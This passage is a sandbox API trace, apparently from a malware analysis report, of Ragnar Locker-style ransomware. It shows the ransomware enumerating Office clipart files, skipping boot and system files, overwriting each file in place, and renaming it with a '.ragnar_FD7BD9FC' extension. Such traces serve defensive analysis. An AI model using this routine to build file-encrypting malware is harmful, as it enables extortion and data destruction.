hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.627] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x236, lpOverlapped=0x0) returned 1 [0092.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x236, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.627] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x236, lpOverlapped=0x0) returned 1 [0092.627] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x236, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x236, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.628] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.628] GetProcessHeap () returned 0x580000 [0092.628] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.628] CloseHandle (hObject=0xf4) returned 1 [0092.628] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" [0092.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.ragnar_FD7BD9FC" [0092.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.629] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0092.629] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.629] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN01165_.WMF" | out: lpString1="TN01165_.WMF") returned="TN01165_.WMF" [0092.629] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF") returned=".WMF" [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="autorun.inf") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="boot.ini") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="bootfont.bin") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="bootsect.bak") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="bootmgr") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="bootmgr.efi") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="desktop.ini") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="iconcache.db") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="ntldr") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="ntuser.dat") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="ntuser.ini") returned 1 [0092.629] lstrcmpiW (lpString1="TN01165_.WMF", lpString2="thumbs.db") returned 1 [0092.629] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.629] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.629] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.630] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.630] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.630] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.630] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf")) returned 0x20 [0092.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.630] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1642) returned 1 [0092.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x661, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.630] GetProcessHeap () returned 0x580000 [0092.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.630] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.632] VirtualAlloc (lpAddress=0x0, dwSize=0x66a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.632] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x66a, lpOverlapped=0x0) returned 1 [0092.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.632] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.632] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x66a, lpOverlapped=0x0) returned 1 [0092.632] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.633] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.633] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.633] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.633] GetProcessHeap () returned 0x580000 [0092.633] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.633] CloseHandle (hObject=0xf4) returned 1 [0092.633] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" [0092.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.ragnar_FD7BD9FC" [0092.633] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.634] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0092.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.634] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN01308_.WMF" | out: lpString1="TN01308_.WMF") returned="TN01308_.WMF" [0092.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF") returned=".WMF" [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="autorun.inf") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="boot.ini") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="bootfont.bin") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="bootsect.bak") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="bootmgr") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="bootmgr.efi") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="desktop.ini") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="iconcache.db") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="ntldr") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="ntuser.dat") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="ntuser.ini") returned 1 [0092.634] lstrcmpiW (lpString1="TN01308_.WMF", lpString2="thumbs.db") returned 1 [0092.634] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.634] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.634] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.634] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.635] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.635] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.635] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf")) returned 0x20 [0092.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.636] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19970) returned 1 [0092.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4df9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.636] GetProcessHeap () returned 0x580000 [0092.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.636] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.637] VirtualAlloc (lpAddress=0x0, dwSize=0x4e02, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.637] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4e02, lpOverlapped=0x0) returned 1 [0092.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.639] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e02, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.639] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4e02, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e02, lpOverlapped=0x0) returned 1 [0092.639] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e02, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.639] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.639] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.639] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.639] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.640] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.640] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.640] GetProcessHeap () returned 0x580000 [0092.640] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.640] CloseHandle (hObject=0xf4) returned 1 [0092.640] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" [0092.640] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.ragnar_FD7BD9FC" [0092.640] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.641] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0092.641] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.641] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00006_.WMF" | out: lpString1="TR00006_.WMF") returned="TR00006_.WMF" [0092.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF") returned=".WMF" [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="autorun.inf") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="boot.ini") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="bootfont.bin") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="bootsect.bak") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="bootmgr") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="bootmgr.efi") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="desktop.ini") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="iconcache.db") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="ntldr") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="ntuser.dat") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="ntuser.ini") returned 1 [0092.641] lstrcmpiW (lpString1="TR00006_.WMF", lpString2="thumbs.db") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.641] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf")) returned 0x20 [0092.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.642] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10090) returned 1 [0092.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2761, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.643] GetProcessHeap () returned 0x580000 [0092.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.643] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.644] VirtualAlloc (lpAddress=0x0, dwSize=0x276a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.644] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x276a, lpOverlapped=0x0) returned 1 [0092.645] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.645] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x276a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.645] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x276a, lpNumberOfBytesWritten=0x1eaf30, 